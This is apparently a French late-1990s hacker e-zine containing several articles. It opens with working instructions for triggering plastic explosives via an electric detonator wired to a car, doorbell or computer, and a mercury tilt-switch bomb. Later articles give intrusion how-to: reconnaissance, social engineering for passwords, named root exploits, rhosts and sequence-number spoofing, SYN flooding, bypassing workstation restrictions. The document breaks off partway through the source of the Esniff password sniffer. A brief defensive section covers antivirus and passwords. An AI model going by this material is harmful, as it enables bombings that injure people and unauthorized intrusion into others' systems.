Moyen le plus professionnelle qui fait toute la polyvalence de la bombe; le détonateur électrique. Coûte a peu près 50¢. C'est ceux utilisé pour les fusées modèles réduits. On plante l'allumette électrique dans la masse de plastique. On la relie avec 2 fils conducteur de courant. Maintenant, pensé a tout ce qui a 'une batterie ou qui est branché sur le 120 et ou l'on peut placer une bombe qui explose lorsque l'on l'allume : char, sonnette avec la bombe sous la galerie (faut pas aimer les témoins de Jéhovas ), ordinateur, etc. Pour ne pas gaspillé un objet d'une tel valeur, testé vos branchement avec une lumière de noël avant. Quand vous obtenez l'effet escompté, Branché la vrai bombe. Maintenant passons au chose sérieuse. Ça c'était pour les gens avec une tête sur les épaules. Pour les vrai psychopathe, pyromane ou le monde de cette espèce, voici une véritable révélation : la bombe à niveau. Un peu plus compliqué. Il vous faut un thermomètre au mercure. Cassé le avec soin et ne perdez pas de mercure. Précaution #1, avant de continué les opérations, placez un interrupteur sur votre bombe pour s'assurer qu'elle n'explosera pas durant les manipulation. Passez vos fils de cuivre dénudé dans un récipient. Il ne faut pas qu'un liquide puisse s'en écouler. Ensuite, versez-y le mercure. Il ne faut pas que le mercure rejoigne les deux partit dénudé en même temps sinon...BBOOUUMM. D'où l'utilité de l'interrupteur. Pour activé, ouvré l'interrupteur. Amusé vous bien!





Utiliser ce document à des fins éducationnelles seulement. Je me dégage de toute responsabilité. Pour plus d'information sur tout ce qui concerne le QHA :Anarchy-department, contactez moi par ICQ à 22685703...


 


...Tout le matérielle cité plus haut est trouvable chez kirouac, CanadianTire ou d'autre place de même.


























o=-------------------------------------=o


|  Les scanners, par Clad Strife |


o=-------------------------------------=o








   Un scanner est un outil dangereux pour la sécurité d'un réseau. Le rôle d'un scanner est d'analyser chaque point d'un réseau, et d'en donner les points faibles. Ils


existent d'autres types de scanners qui se contentent d'analyser les réseaux, mais en plus permettent à l'utilisateur du scanner d'essayer d'en trouver les "failles": des


commandes comme finger, sysinfo (qui permet de se renseigner sur la cible à l'autre bout)... peuvent être implémentées dans un scanner. Le plus simple, le plus


rapide et bien fait de scanners que je connaissent reste WS PING PRO PACK sur http://www.ipswitch.com. 


   Les scanners vont s'occuper (en général) de savoir: 





     quels sont les services éxécutés à ce moment précis 


     les utilisateurs propriétaires de ces services 


     si les connexions anonymes sont acceptées 


     si certains services de réseau requièrent une authentification 





Parmis les scanners les plus connus (qui tournent sous UNIX en général), il y a SATAN, qui ne fonctionne que lorsque l'on est root. Ci joint une description de


NESSUS, qui est un scanner bien particulier (fonctionne sous Linux): Nessus, est intéressant car il permet, en scannat un serveur, de savoir quel en sont les points


faibles (les ports qui présentent des points faibles), et de décrire ces points faibles (qu'est-ce qui peut se passer si quelqu'un fait ci ou ça sur le port 21, ce qui peut


être intéressant pour un pirate. Et la solution à ce problème). Nessus sera bientôt développé pour WindowsNT dans les mois à venir (année 2000). 


http://www.nessus.org 


Il en existe d'autres (NSS, Strobe, SATAN...) Attendez: arrêtons nous-sur SATAN. Satan a été conçu uniquement pour UNIX, mais il était la référence en la


matière de scanners. il décrivait EN DETAIL, chaque point faible d'un serveur. Satan peut fonctionner (mal, très mal) sous Linux. Cependant pour éxécuter


correctment SATAN, rendez vous aux adresses ci-dessous: 


http://recycle.jlab.org/~doolitt/satan/tcp_scan.diff.2 


http://recycle.jlab.org/~doolitt/satan/BSD-4.4-includes.tar.gz 


téléchargez SATAN à http://www.trouble.org/~zen/satan/satan.html 


   Les utilisateurs de Windows 9x ne seront pas en reste grâce à "Network Toolbox": c'est un scanner de ports TCP/IP. Il scanne un serveur en vous indiquant


chaque service disponible sur celui-ci (FTP, SMTP, finger, pop3, portmap etc...). 


Il inclut aussi les fonctions d'un port scanner; il n'indique pas les failles que peut offrir chaque service, mais le fait d'afficher ces services constitue un atout intéressant


(exemple de finger). 


























o=-----------------------------------------------=o


|  Attaques par Telnet, par Clad Strife  |


o=-----------------------------------------------=o








   Telnet c'est excellent car on pourrait croire un programme qui ne gère que le "telnet" (qui est un protocole), mais qui en fait peut en gérer bien plus (FTP, SNMP,


SMTP...). L'interface de telnet est très basique: les commandes sont entrées directement dans le programme, il n'y a aucun graphismes, que des notions de


commandes-reponses. Cet aspect très archaique peut rebuter nombre des Neophytes qui veulent se servir de telnet. Mais voilà: loin d'être compliqué Telnet est on


ne peut plus faciel à utilsier justement grâce à sa simplicité. On va pas expliquer comment utiliser telnet, mais si vous avez des difficultés au niveau des comandes à


entrer une fois connecté sur un serveur tapez "help" ou "?" (ne marche que sur certains types de serveurs). 





Il y a plusieurs types d'attaques par Telnet: 





     Attaques par spoofing 


     Attaques par finding/cracking 


     Attaques par Social Engineering 


     Par recherche d'informations (on en revient au sniffing/cracking) 





Evaluation de chacune de ces techniques: dans chacune d'elles vous pouvez vous faire repérer, la plus dangereuse reste celle du cracking et du spoofing. La première


de ces deux là requiert d'essayer les mots de passe un par un, et il n'existe pas de crackers pour telnet, donc c'est à vous d'essayer les pass un par un. Il y a plusisurs


raisons à l'absence de crackers: 





     Sur certains serveurs, vous avez droit à trois essais pour vous logger sur le serveur, au troisième essai foireux, vous êtes déconnecté. 


     Une trop grande tentative d'essais de mots de passe pourraient alarmer les administrateurs réseaux. 








En cas d'attaques par spoofing détectée, vous êtes détecté, par conséquent vous risquez d'avoir de gros ennuis. 





Je vais expliquer comment appliquer chacune de ces techniques. A part l'attaque par spoofing étant donné que c'est déjà vu plus haut. le carcking/finding et SE vont


ensemble à la limite. Mais on va les étudier cas par cas. 


Le finding et cracking, consistent à trouver des informations concernant un réseau ou concernant les administrateurs/utilisateurs, de ce réseau. ces informations sont


en généralement très simples à trouver, à condition de savoir: où chercher, et quoi chercher. 


al première chose qu'on va faire, c'est scanner le réseau pour savoir quelles sont les ordinateurs de ce réseau connectés au net. 


Sortez Ws Ping Pro Pack, à partir de là faites un scann du réseau. Si vous savez pas comment faire, http://www.ipswitch.com. 


Il existe bien sur d'autres scanners, mais celui-ci est simple d'utilisation. Ensuite vous pouvez recherchez des informations sur les administrateurs, en allant sur


http://www.networkssolutions.com. La vous avez déjà une base sur laquelle partir. Ensuite on peut essayer de trouver des informations plus aprofondies (les logins


des utilisateurs, leur personnalité). Le mieux est de voir si le réseau répond à une commande te type host: 


Exemple: 


host -l -v any réseau.com 


Donnerait une liste d'informations désordonnées, mais qui en réalité correspondent aux ordinateurs reliés entre eux (ce sont les adresses locales qui vont sont


fournies) dans ce réseau. Notons que certaines infos peuvent être révélatrices. Si l'on remarque un poste exploitant Solaris, une compromission de l'accès root est


possible par débordment du tampon rlogin. 


Ou encore si une machine tourne sous Linux redhat, un accès root est possible par utilisation d'une faille imapd. 


Plus simple: si un ordinateur opère sous IRIX, il a de fortes chances de compromettre le compte root, par http, dans le répertoire cgi-bin/handler 


Exemple: http://IP ou local host/cgi-bin/handler 


Plus en détails, si l'on prend un local host comme cs.bu.edu (c'est un exemple), on peut essayer de voir s'ils utilisent finger, si c'est le cas on peut obtenir des infos


comme: 


madhacker Ernest Kim p2 6 Tue 11:32 moria.bu.edu:0.0 


Ernest vient de moria.bu.edu. Après examen des listings, on peut supposer que moria se trouve dans le cluster cs. il est peut-être possible d'utiliser moria pour


attaquer un voisin ou un ami. Seulement il faut vérifier les noms d'utilisateurs de ce système, toujours par finger.On pourra même savoir ce que fait chacun (mail,


rlogin, netscape...) 


Mais c'est pas juste par simple curiosité: on a ainsi les logins de chaque utilisateurs. 


Une recherche d'informations s'étend aussi aux recherches dans la vie courante: se reenseigner sur un employé, ses activités, etc... 





     En recherchant sur les NewsGroups (dejanews.com regroupe tout les messages news du monde, et il est possible de faire une recherche par catégorie: email,


     nickname, sujet): celà peut permettre de dresser un profil de personnalité d'une personne. 


     En cherchant ses coordonnées (Annuaire, email diffusé, contacts) 





Une fois ces informations obtenues, dressez vous-même un profil. Il existe plusieurs types d'utilisateurs selon ce que vous avez recueilli comme informations: 





     L'utilisateur conscencieux: il est prudent, discret, ne s'y connait pas beaucoup en informatique, mais reste sur ses gardes. 


     L'utilisateur averti et habitué: il va très souvent sur internet, ses messages sur les NewsGroups sont facilement trouvables en grosse quantité. 


     L'utilisateur passif: il n'utilisera presque jamais internet, et ne s'y connaitra que très peu en informatique. la cible préférée mais la plus difficile d'accès d'un pirate


     Les utilisateurs passifs deuxième type: ils connaissent internet, y vont un peu de temps en temps, vont relever leur mails hebdomadairement. c'est aussi l'une des


     cibles privilégiées des pirates. 





Les deux dernières cibles sont à contacter. Utilisez le Social Engeneering ou le courrier tactile pour avoir leurs logins et mots de passes, au sein du réseau. 





On s'éloigne du sujet abordé me direz vous. Mais une fois ces logins et mots de passes en poches, vous pouvez accédez à leurs comptes e-mails (si c'est eux qui


déterminent leurs mots de passes), ou faire de la connection par telnet avec ces logins et mots de passes, si ils ont un compte accessible depuis l'internet. Exemple du


site www.y.com. Les emails sont envoyés à jericho@y.com (par exemple), et si les mails sont reçus sur la machine serveur, vous pouvez y accéder. 





Vous remarquerz que j'ai parlé de Social Engineering (pas pu m'en empêcher), car comme cité plus haut, ces 3 facteurs peuvent être indépendants. 


  





     Identification du système à attaquer si aucun des essais cités ci-haut ne marchent: 





Certaines sessions telnet (en restriction totale, lors de la demande du login et du mot de pase), sur certains serveurs, affichent le nom du système sur lequel vous


tentez de vous connecter. Celà peut devenir un point fort pour un hacker qui sait exploiter les failles de ces systèmes. Mais des scanners copmme SATAN analysent


les informations reçues lors de la demande de connection pour déterminer le type de système distant. 


Celà s'applique en général pour les serveurs proposant une connection telnet par: 





     FTP (port 21) 


     Telnet (port 23) 


     SMTP (port 25) 


     Gopher (port 70) 


     http (port 80) 





Conclusion: je pense qu'il faut avoir des couilles pour réussir (petite note subjective que je n'ai pas pu m'empêcher d'ajouter). 























o=-------------------------------=o


|  Spoofing, par Clad Strife |


o=-------------------------------=o











   J'avais déjà fait un article sur le spoofing (petit), dans Nopeace2 (http://www.multimania.com/hackworldclan). je pense qu'il serait plus utile d'approfondir. je rappelle en quoi consiste le spoofing: le spoofing


consiste à se faire filtrer à travers des firewalls et proxys (ou mêmes des systèmes) comme étant une machine "amie". Ainsi on casse les protections mises en oeuvres


par des administrateurs réseaux au niveau du filtrage des clients (une connection se fait toujours client - serveur). 


  





     RHOSTS: le système rhosts peut être utilisé pour établir des relations d'approbations. Il existent les fichiers hosts.equiv (les plus intéressants), et les fichiers


     .rhosts. le premier type est édité par un root (maitre du système), et donc s'applique à tout le système. Les fichiers .rhosts, eux, ne s'appliquent qu'à des


     utilisateurs en particulier et à des répertoire particuliers. Le root empêche les utilisateurs de créer eux même leurs fichiers .rhosts, car celà peut engendrer des


     failles. 





Exemple d'un fichier .rhosts: 





     coto1.cri.hackers.com cstrife 


     coto2.cri.hackers.com bond 


     coto3.cri.hackers.com thorgal 


     coto4.cri.hackers.com jeankevin





Ce sont les adresses locales de chaque machines, et à coté le nom d'utilisateur. Lors d'une tentative de connection sur le serveur ayant ce fichier enregistré, les


utilisateurs qui auront inscrits le login cstrife ou bond ou thorgal ou jeankevin, se verront attribuer l'accès au serveur, une procédure d'authentification au niveau de


l'adresse locale ayant été faite bien sur. Seulement ces 4 machines devront eux-mêmes avoir une entrée .rhosts. Dans le cas de fichiers .rhosts vides ou absents sur


l'un ou l'autre des ordinateurs (client ou serveur), une attaque de type spoofing ne peut-être crée. 


Comment faire simple: demandez à quelqu'un que vous connaissez qui travail sur réseau, et dont la tête de réseau est accsessible par internet, de créer un fichier


.rhosts (ou hosts.equiv s'il a un accès en root) pour pouvoir vous spoofer, et ensuite piratez le réseau (placez des sniffers, détruisez la tête de réseau, accédez aux


autres ordinateurs en réseau...) 





     Routage IP par la source: 





Si le retour des packets s'effectue dans le chemin inverse que celui par lequels ils sont venus, un hacker prélèverait les IP qui existent entre ces deux ordinateurs en


liaison, et celà lui permettrait de récupérer les packets IP si il arrive à cracker un de ces poste. 





     Chaque attaque se réalise par une étape: 


       


       





     Première étape: Identifier les cibles 


     Seconde étape: immobiliser l'hôte dont l'adresse doit être usurpée 


     Contrefaire l'adresse de l'hôte usurpé 


     Se connecter à la cible en se faisant passer pour l'hôte usurpé 


     Deviner le numéro de séquence exact demandé par la cible





Il n'y a pas 36 solutions: identifier les cibles correspond à identifier l'hôte (ou le client si vous préférez), et le serveur. Si vous savez pas comment faire c'est que vous


avez quelques déficiences au niveau de vos capacités. On va pas répéter ce que tout le monde explique. Immobiliser l'hôte consiste à le hacker en mots francs. Le


hacker c'est à dire: obtenir le login logiquement utilisé pour se connecter à la cible, puis obtenir les numéros et pass de connections pour pouvoir usurper son IP,


sinon faites changez le fichier rhosts sur la cible. Le reste (connection, login), n'est pas trop difficile: les connections avec telnet, et obtenez le N° de séquence par


divers moyens (expliqués ci bas): les admins de l'hote ne se méfie pas trop quand on leur demande juste leur login pour se connecter à la cible; n'oubliez pas d'avoir


un fichier rhosts, pour une connection à double sens (une connection s'établie toujours dans deux sens, c'est comme un pont entre deux rives d'un fleuve, sauf erreur


de ma part). 


Mais sans avoir l'IP de la machine hôte (ce qui se peut impossible), vous pouvez essayer de vous connecter à la cible. A la demande de login un packet sera envoyé


à la machine qui normalement possède le login avec un numéro de séquence. Si il y a réponse de la part de cette machine vous êtes cuits (plus bas, explications sur


les N° de séquence). Plusieurs solutions bien merdiques, bien lâches, consistent à immobiliser l'hôte qui aurait du être l'hôte normal. Mais on est pas là pour


déconner: si vous arrivez à faire ce genre de piratage, les détails sont inintéressants. Immobiliser l'hôte usuel se fait par: virus, trojans, failles de sécurités, attentats à la


bombe, menaces de morts, Social Engineering, piratage de l'hôte (!). 





Prenons le cas du piratage de l'hôte: l'hôte usuel est aussi serveur et permet à d'autre clients (que vous ne connaissez pas) de se connecter à lui, menez une enquête:


Social Engeeniring, NewGroups, mails, questions, scann du réseau etc... Tout est bon. Puis faites la même technique, si vous n'y arrivez pas, de fil en aiguille vous


finirez par réussir, et là c'est gagné: vous êtes descendu, éloigné de votre cible principale, puis vous remonterez jusqu'à la cible attaquée. 





Le cas du flooding: ça peut paraitre lame le flooding mais ça devient très utile, surtout quand il s'agit de mettre un réseau hors-service. On ne parle pas de flooding


ICQ ou IRC ou autres lameries dans ce genre. Le flooding (surtout le SYN Flooding qui correspond à une tonne de demandes connexions, va créer une file d'attente


et le serveur ne peut plus traiter les demandes de connexions entrantes. 





Qu'est-ce qu'un numéro de séquence: un numéro de séquence est à peu près ce qui va permettre d'établir une connection. Exemple: un paquet TCP est envoyé par la


machine X vers la machine Y avec son numéro de séquence. Puis une réponse est envoyé de la machine Y vers X avec le numéro de séquence de X plus celui de Y.


Encore un packet est envoyé à Y de la part de X, et le transfert peut commencer. Le but de l'attaquant est de truquer le N° de séquence source, et maintenir ce N°


de séquence. l'attaquant doit donc deviner le N° de séquence initial pour retourner la bonne réponse. Celà peut paraitre simple, sauf que les N° de séquences sont


codés avec un algorithme, le but étant de découvrir aisni la bonne réponse à retourner. Problème: si l'on contrefait son N° de séquence, un serveur peut retourner le


paquet de réponse au client dont le N° de séquence correspond à celui contrefait. le but ensuite est de retrouver le N° de séquence contenu dans ce packet qui ne


retourne pas à la personne s'étant spoofée, pour pouvoir aquitter la connection. Il y a aussi le problème vu plus haut, c'est que la machine ayant le bon N° de


séquence réponde, donc il faut l'immobiliser. 


  





     ARP spoofing: 





ARP est un protocole qui doit faire correspondre les adresses Internet aux adresses physiques. Un message de requête ARP est diffusé sur le sous réseau vers une


cible qui répond en envoyant sa propre adresse matérielle, ainsi un transfert de packets peut s'effectuer. Il est intéressant de comprendre ça, car ARP garde les logs


des adresses contactées, ces logs peuvent permettre à un pirate d'avoir les adresses matérielles de machines, et appliquer les attaques habituelles. 





Cet article prend fin. il est intéressant mais réservé aux gens qui ont une certaine expérience. 























o=---------------------------------------------------------------------------=o


|  Sécurisez-vous et sécurisez votre réseau, par Clad Strife  |


o=---------------------------------------------------------------------------=o








   D'abord on va expliquer comment vous sécuriser. Il faut bien comprendre qu'aucune sécurité n'est efficace à 100%, mais les astuces qui vous seront fournis dans le


texte à suivre vont vous permettre de rebuter foules d'attaques. 


  





     Eviter les trojans: 





   Un trojan est le terme employé pour désigner BackDoor. En fait on devrait appeler trojan, un programme (presque virus) qui s'infiltre à l'insu d'un utilisateur pour


foutre son merdier, selon ses capacités. Une BackDoor fonctionnant presque sur le même principe, le terme a été généralisé, et ce n'est plus une erreur de dire


"trojan" (ou troyan, ou troyen au pluriel), à la place de BackDoor. Le trojan a la particularité de créer une voie d'accès à votre système: c'est d'ailleurs l'un des


moyens les plus simples (en général les lamers aiment bien ce genre de programmes juste pour faire joujou), et les plus rapide et efficace de créer une faille vers votre


système: en effet une fois le trojan (appelé partie serveur) éxcécuté, l'attaquant peut directement se connecter sur votre système avec la partie client. Actuellement les


trojans les plus usités sont: Back Orifice (et Back Orifice 2000), Netbus (1.3, 1.7, 2.0), Subseven 1.3, Socket de Troie etc. Parmis ceux-là on devrait appeler intrus


celui qui l'est: Back Orifice. Ce "trojan" ets un réalité un programme (un vrai) qui a été créé dans un but nuisible mais non avoué: en effet il permet d'administrer un


réseau plus directement qu'en étant sur le réseau. Bref, ça ne change rien quand à son utilisation nocive. 


   Pour éviter de choper un de ces trojans, des programmeurs ont mis au point plusieurs anti-troyens, le plus connu étant le BouffeTroyen. Ce programme détectait


une grande quantité des trojans qui pouvaient exister sur votre système, mais comme tout programme, il se fait vieux, et Aiki (son créateur), n'a plus la flegme. Alors


se sont suivis des anti-torjans spécifiques: Anti-Socket de Troie, Anti BO, Netbuster... Mais ces programmes ne constituent pas les protections les plus efficaces,


mieux vaut prévenir que guérir. ce que font les Firewalls c'ets de détécter une tentative de connection sur les ports surveillés, qui sont ceux par défauts utilisés par les


trojans les plus connus. D'autres firewalls, détectent presque toutes les tentatives de connection: ce qui amène a des plantages. Lockdown 2000 est un de la première


catégorie: une fois une tentative de connection détectée, il fait un Traceroute (tracert) sur l'IP qui a tenté la connexion et en vous prévenant. Ce merveilleux Firwall


scanne aussi la présence d'infections dès son lancement. La meilleure des protections restent les anti-virus qui détectent les trojans pré-repérés, ou encore les


programmes qui se définissent à s'inscrire sur le système ou dans d'autres programmes: ainsi les programmes pour détéceter les jeux sont détectés comme infectés.


ces anti-virus, vous les connaissez: AVP (AntiViral toolkit Pro) et Norton (la version 2000, qui détecte les trojans, est sortie). Ce sont là les deux meilleurs anti-virus


qui sont à disposition de chacun. Un autre truc quand on n'a rien installé et qu'on veut rapidement vérifier si une personne s'est connectée à soi, c'est d'aller sous dos


(répertoire C:\windows par défaut) et de taper 'netstat': celà vous affichera tout ce qui est en train de se connecter à vous, sur quel port, et l'IP de la "chose" qui


essaye de se connecter. Vous verrez OBLIGATOIREMENT des IP s'afficher, mais stressez pas: c'est normal. Surtout si vous faites de l'ICQ, ou autres. 


  





     Eviter les virus: 





   Définition rapide d'un virus: programme qui, en général, s'inscrit dans chacun de vos fichiers sur tout votre disque dur. Ca c'est LE virus par excellence. Puis un


virus peut-être modifié dans un but nuisible: ça peut aller des simples problèmes d'allumage ou d'extinction au flash du BIOS. Il n'est pas possible de savoir si un


programme dissimule un virus. Alors il faut télécharger (ou acheter) des anti-virus: AVP et Norton (par exemple, cependant il est conseillé d'avoir la version 2000 de


Norton). Le problème est qu'environ 400 virus (moyenne caculée par ch'ais plus trop qui) sont créés par mois! Heureusement il restent en général discret. Mais celà


oblige les posseseurs d'anti-virus à updater leur base de données de virus régulièrement. La moyenne à tenir est de une update par mois. Si vous avez vraiment peur:


faites ça toutes les 2 (!) ou 3 semaines. Un virus est un  réel danger pour la sécurité et la maintenance d'un réseau: il n'est pas rare de tomber sur un virus qui se


propage à travers un réseau entier, causant à la perte de toutes les données stockées sur le réseau ou pire: celles du réseau voisin s'il y a une connection entre deux


réseaux. Certains virus sont vicieux car sont en réalité des macro-instructions (possibilités de les mettre dans les .doc), comme Melissa, et ces macro-instructions,


bien que parfois non dangereuses, peuvent l'être. Là aussi un anti-virus est nécessaire. 


  





     Sécuriser son réseau: 





   Pour commencer à sécuriser un réseau connecté à l'internet (donc réseau local relié au net), il faut d'abor le sécuriser en tant que réseau local: c'est-à-dire que des


protections doivent être mises en oeuvre pour éviter qu'un utilisateur de ce réseau ne fasse des manoeuvres dangereuses, éxécute des virus ou des trojans, que ce soit


intentionnel ou inintentionnel. 


   Le problème des virus est trojan est traité plus haut. Donc on va traiter des erreurs demanipulations ou attaques voulues, de l'intérieur du réseau. Le premier danger


est le fait qu'un utiolisateur puisse avoir accès à chaque poste en réseau (dont le serveur), depuis un seul poste. Mettez alors des restrictions (exemple: sous


Windows, partagez les répertoires avec accès en mot de passe, ou accès limité), ou mieux: des programmes qui mettes des restrictions qui SEMBLENT incassables.


Il existe donc de nombreux programmes qui empêche un utilisateur d'avoir les icones sur le bureau, d'accéder à l'explorateur windows, etc... Mais en réflechissant


bien, il y a foule de moyens d'accéder à la session administrateur (le programme ne met plus de restrictions): soit en effaçant complètement le programme, ses .dll, ou


en trouvant le pass. 


  La première solution requeirt un minimum d'accès à certains programmes, si vosu pouvez accéder à: 


- Wordpad: demandez à ouvrir un fichier, non pas .txt ou .doc, mais en *.*  recherchez le programme sécurisant le pc, effacez tout. 


- Dans le menu Démarrer, Executer: tapez C: ou D: selon le lecteur mis en cause 


- IE, Netscape navigator: dans la barre blanche ou l'on met l'adresse url tapez: C:, ou mieux: Poste de travail. Faites attention car à partir du poste de travail on peut


agir sur TOUT! 


- Arretez l'ordinateur et demandez à le faire redémarrer en Mode MS-DOS: à partir de là, vous pouvez accéder à tout, sans restrictions. 


- Des outils graphiques: au lieu de rechercher à ouvrir un format d'image précis, cherchez en *.* et amusez vous. 


- Winzip, ou autres: faites dans Winzip, File - Open Archives et ouvrez en *.* 


- etc... Il y a foule de programmes avec lesquels on peut casser une sécurité. 


   La deuxième solution requiert à l'utilisateur d'avoir un minimum d'infos sur l'utilisateur, ou encore de trouver les fichiers sensibles (par exemple: il existe des fichiers


d'aide -accessibles même en restricted acces grâce aux moyens présentés ci dessus- qui, si on a perdu le mot de passe, explique comment le retrouver!!). Il n'y a pas


de réelles solutions dans ce cas là, sauf mettre un pass au BIOS (qui peut toujours se cracker, selon différentes méthodes mais qui demandent du temps), ce qui


rebutera même les plus avertis. 


  





     Choisir ses mots de passe: 





   Ca c'est déjà vu, quand vous vous souscrivez sur un hébergeur ou autre, on vous demande de bien choisir votre mot de passe (les webmasters en ont marre de


recevoir du courrier expliquant que le site d'Untel a été piraté). Il est conseillé (parfois obligatoire) de prendre un mot de passe à plus de 6, 8 ou 9 lettres. Le 3/4 des


utilisateurs font l'erreur de prendre un mot de passe qui correspond à quelque chose: un pseudo, un nom de famille, le nom du chat... Un bon dico, permet à tous les


lamers (ceux qui utilisent des crack pass pour satisfaire leurs besoins de soumissions mazochistes et débiles, en hackant des serveurs de pauvre gars qui font chier


personnes) de trouver ce pass. Il est conseillé de prendre un password avec: majuscules, minuscules, chiffres. 


Ex: RuY54gHEt 


Ca peut paraitre long à taper et chiant, mais personne vous oblige à prendre ce pass. 


D'autres personnes ont cru bien sécuriser leurs sites ou réseaux ou comptes mails, en ne mettant que des chiffres! 


Ex: l'utilisateur X a choisi 121182 comme password pour son site et son compte mail. 


Ces chiffres correspondent à des dates, ou a rien du tout: mais un générateur de chiffres peut créer un dico qui trouvera la solution en deux coups de cuillers à pot. 


De plus un utilisateur prudent et averti ne devrait jamais prendre un même mot de pass pour les zones sensibles (réseau, site, compte e-mail, etc...) 


Dans ces techniques, celle de possession du compte e-mail est la plus dangereuse: il suffit que monsieur X ait enregistré son site à l'adresse xxxx@héhé.com, pour


qu'un cracker fasse un retry d'infos, et le pass du site est envoyé sur le compte e-mail... piraté. 


  





     Sécurisez son site web: 





   Lors de l'inscription sur un serveur d'hébergement, on vous demande de remplir un formulaire qui correspond à votre profil d'utilisateur (nom, prénom, adresse,


etc...). Le mieux à faire est de ne surtout pas mettre ses infos réelles, mais des infos bidons. Pour deux raisons: 


- Le serveur peut-être amené à faire des listing d'utilisateurs, et les diffuser à d'autres serveurs avec lesquels ils travaillent... 


- Des failles permettent d'exploiter ces informations, (c.f. le cas de Multimania dans Nopeace2, sur le site hackworldclan). 


de plus il est conseillé de ne pas souscrire à de mailing lists ou de newslists, etc... des utilisateurs malveillants pourraient dresser un profil de votre personnalité. 





Conclusion: cet article est court, mais il est récapitulatif de ce que vous devez savoir pour minimiser les risques de piratage. En réalité, expliquer en profondeur


comment sécuriser un réseau (protections par firewalls, savoir connecter quel routeur sur quel proxy, etc...), est BEAUCOUP trop long, et celà ne m'intéresse pas


forcément d'apprendre aux gens à sécuriser un réseau (peu d'administrateurs réseaux lisent les articles des e-zines nommés HACKER 2020, sauf s'ils sont























o=------------------------------------------------------------------------------------------=o


|  OS: Windows 3.x n'est pas un système d'exploitation, par Clad Strife |


o=------------------------------------------------------------------------------------------=o





 Les utilisateurs Linux se doivent de comprendre Linux/UNIX, et en général c'est le cas. Ca l'est moins pour les utilisateurs Windows 3.x. Unix est un système d'exploitation, ce qui permet à ce système d'exploitation de tourner sont les shells. Un shell est un environnement dans lequel des commandes peuvent-être tapées éxécutées, puis seront retranscrites de manière à être éxécutées par la machine. Sous DOS, le shell est command.com. Pour mieux comprendre on va faire un peu d'histoire. Au début (1960) des premiers pas des réseaux, chacun croyait que l'ennemi allait lacher ses bombes atomiques. Le but était de créer un réseau résistant à une attaque nucléaire massive. L'idée de créer un réseau militaire est née. Ce réseau se développa jusqu'à avoir le nom d'ARPANET, et en 1969 il fut mis en place.


La même année, un gars du nom de Ken Thompson développa le système d'exploitation qu'est UNIX. UNIX était très basic: pas de couleur, froid, c'était dès lors LE système d'exploitation qui ne servait qu'à gérer des applications. Actuellement UNIX est géré par un système de fenêtrage appelé X-WINDOW (il y en a beaucoup d'autres), c'est le plus puissant et le meilleur système de fenêtrage qui existe actuellement sur UNIX. Donc cette interface est graphique est permet d'utiliser UNIX, dans une plus grande simplicité. C'est la même chose pour Windows 3.x: système de fenêtrage, système d'exploitation (DOS), et le shell: command.com. Ne faites pas l'erreur de demander à quelqu'un si il tourne sous Windows 3.x comme système d'exploitation (même les informaticiens font la faute). 











o=-------------------------------------=o


|  Les sniffers , par Clad Strife |


o=-------------------------------------=o





   Qu'est-ce qu'est un sniffer: un sniffer est un outil qui permet de choper un packet qui circule sur un réseau. Chaque sniffer s'occupe d'un protocole, ou bien un sniffer de plusieurs protocoles prédéfinis. Le sniffer enregistre une copie de chaque packet qui sort ou entre sur le disque dur auquel il doit rendre des comptes. Mais comme ces packets peuvent constituer de grosses trames, il serait stupide de remplir son disque inutilement. Alors les sniffer vont faire un choix sélectif parmis tous ces packets. En effet: un réseau transmet en moyenne quelques milliers de packets par heure. Voyez le résultat pour une journée. Alors en plus de la sélection un sniffer ne va capturer qu'une petite partie de la trame: les premieres centaines d'octets (300 ou 400 en général); Pas plus car c'est dans ces octets que se trouvent l'identifiant et le password d'un utilisateur. Ainsi un packet sortant de la machine X, qui est intercepté par le hacker Y, permet au hacker Y d'avoir accès à la machine X. D'autres sniffers permettent à un administrateur réseau de découvrir les points faibles de son réseau et s'il s'y trouve des problèmes. 


   Les sniffers fonctionnent sous Linux/UNIX ou parfois sous Windows et sont, soit en vente (réservé aux professionels), soit téléchargeable à partir de sitesspécialisés. Ci-dessous une petite liste de quelques sniffers vendus en commerce: 





     ATM sniffer Network Analyzer of Network Associates: http://www.networkassociates.com, il décode plus de 250 protocoles (!). 


     Shomiti Systems Century LAN Analyzer: http://www.shomiti.com, supporte le standard ethernet et marche sous Windows 95/98, NT. 


     PacketView de Klos Technologies: ftp.klos.com/demo/pvdemo.zip, ce sniffer est basé sur DOS, idéal pour les environnements ethernet. 


     Network Probe 8000: http://www.netcommcorp.com, fais une analyse d'environ 13 protocoles dont TCP/IP, Microsoft, NFS, Novell. 


     LANWatch: http://www.guesswork.com, marche sous DOS, Windows 9x et NT. 


     EtherPeek: http://www.aggroup.com, pour Windows et plates formes Macintosh. 





Il y en a beaucoup d'autres, mais les recenser tous demanderait un travail monstre et un peu inutile. D'autant plus qu'après la liste des sniffers payants, voici les


non-payants, comme dis plus haut, plus pour UNIX que pour Windows: 





     Esniff: c'est un sniffer programmé en C, basé sur UNIX, dont les codes sources sont disponibles un peu partout. Mais en voici le code source: 





/* Esniff.c */ 





#include <stdio.h> 


#include <ctype.h> 


#include <string.h> 





#include <sys/time.h> 


#include <sys/file.h> 


#include <sys/stropts.h> 


#include <sys/signal.h> 


#include <sys/types.h> 


#include <sys/socket.h> 


#include <sys/ioctl.h> 





#include <net/if.h> 


#include <net/nit_if.h> 


#include <net/nit_buf.h> 


#include <net/if_arp.h> 





#include <netinet/in.h> 


#include <netinet/if_ether.h> 


#include <netinet/in_systm.h> 


#include <netinet/ip.h> 


#include <netinet/udp.h> 


#include <netinet/ip_var.h> 


#include <netinet/udp_var.h> 


#include <netinet/in_systm.h> 


#include <netinet/tcp.h> 


#include <netinet/ip_icmp.h> 





#include <netdb.h> 


#include <arpa/inet.h> 





#define ERR stderr 





char    *malloc(); 


char    *device, 


        *ProgName, 


        *LogName; 


FILE    *LOG; 


int     debug=0; 





#define NIT_DEV     "/dev/nit" 


#define CHUNKSIZE   4096        /* device buffer size */ 


int     if_fd = -1; 


int     Packet[CHUNKSIZE+32]; 





void Pexit(err,msg) 


int err; char *msg; 


{ perror(msg); 


  exit(err); } 





void Zexit(err,msg) 


int err; char *msg; 


{ fprintf(ERR,msg); 


  exit(err); } 





#define IP          ((struct ip *)Packet) 


#define IP_OFFSET   (0x1FFF) 


#define SZETH       (sizeof(struct ether_header)) 


#define IPLEN       (ntohs(ip->ip_len)) 


#define IPHLEN      (ip->ip_hl) 


#define TCPOFF      (tcph->th_off) 


#define IPS         (ip->ip_src) 


#define IPD         (ip->ip_dst) 


